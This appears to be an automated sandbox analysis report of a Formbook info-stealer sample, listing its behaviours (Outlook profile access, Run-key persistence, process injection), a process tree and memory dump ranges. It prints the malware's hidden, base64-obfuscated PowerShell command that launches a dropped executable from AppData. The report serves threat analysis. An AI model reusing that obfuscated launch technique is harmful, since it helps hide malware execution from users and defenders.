Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 11:17
General
- Target 80e1fc8f42b0a8ac2de2235999664af6c0cf77d55b419cb10722f79372d2b99d.exe
- Size 979KB
- Sample260820-ndynyaywcs
- SHA256 80e1fc8f42b0a8ac2de2235999664af6c0cf77d55b419cb10722f79372d2b99d
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 35 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 7 IoCs
- Suspicious use of AdjustPrivilegeToken 29 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\80e1fc8f42b0a8ac2de2235999664af6c0cf77d55b419cb10722f79372d2b99d.exe"C:\Users\Admin\AppData\Local\Temp\80e1fc8f42b0a8ac2de2235999664af6c0cf77d55b419cb10722f79372d2b99d.exe"2⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$z3ninb=1219;$qvnxv4=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$z3ninb=1219;$45rqt3=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGphLmV4ZQ==')));$mx2zok=$env:COMPUTERNAME;& $qvnxv4 -FilePath $45rqt3"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\ja.exe"C:\Users\Admin\AppData\Roaming\ja.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\odbcconf.exe"C:\Windows\SysWOW64\odbcconf.exe"1⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"2⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
ja.exe
memory/2532-38-0x0000000000900000-0x0000000000943000-memory.dmp
memory/2532-35-0x0000000000900000-0x0000000000943000-memory.dmp
memory/2956-8-0x0000000074E20000-0x00000000755DC000-memory.dmp
memory/2956-10-0x0000000006580000-0x0000000006668000-memory.dmp
memory/2956-5-0x0000000074E20000-0x00000000755DC000-memory.dmp
memory/2956-6-0x00000000050F0000-0x00000000050FE000-memory.dmp
memory/2956-7-0x0000000074E32000-0x0000000074E33000-memory.dmp
memory/2956-0-0x0000000074E32000-0x0000000074E33000-memory.dmp
memory/2956-9-0x00000000054F0000-0x000000000558C000-memory.dmp
memory/2956-4-0x0000000004FE0000-0x0000000004FEA000-memory.dmp
memory/2956-3-0x0000000004F30000-0x0000000004FC2000-memory.dmp
memory/2956-1-0x0000000000330000-0x000000000042A000-memory.dmp
memory/2956-13-0x0000000074E20000-0x00000000755DC000-memory.dmp
memory/2956-2-0x00000000055C0000-0x0000000005B7A000-memory.dmp
memory/3316-34-0x0000000000850000-0x000000000366C000-memory.dmp
memory/3316-36-0x0000000000850000-0x000000000366C000-memory.dmp
memory/3656-21-0x000002DB62F00000-0x000002DB62F22000-memory.dmp
memory/3656-26-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-18-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-23-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-22-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-24-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-25-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-15-0x00007FFD36F6F000-0x00007FFD36F70000-memory.dmp
memory/3656-27-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-28-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-29-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-17-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-33-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3656-16-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3752-39-0x0000000005410000-0x0000000005505000-memory.dmp
memory/4116-32-0x0000000001580000-0x00000000015C6000-memory.dmp
memory/4116-12-0x0000000001580000-0x00000000015C6000-memory.dmp
memory/4116-37-0x0000000001580000-0x00000000015C6000-memory.dmp
memory/4116-11-0x0000000000400000-0x0000000000446000-memory.dmp
memory/4116-14-0x0000000001BA0000-0x0000000001F14000-memory.dmp
memory/4340-47-0x000001E9DCD70000-0x000001E9DCE29000-memory.dmp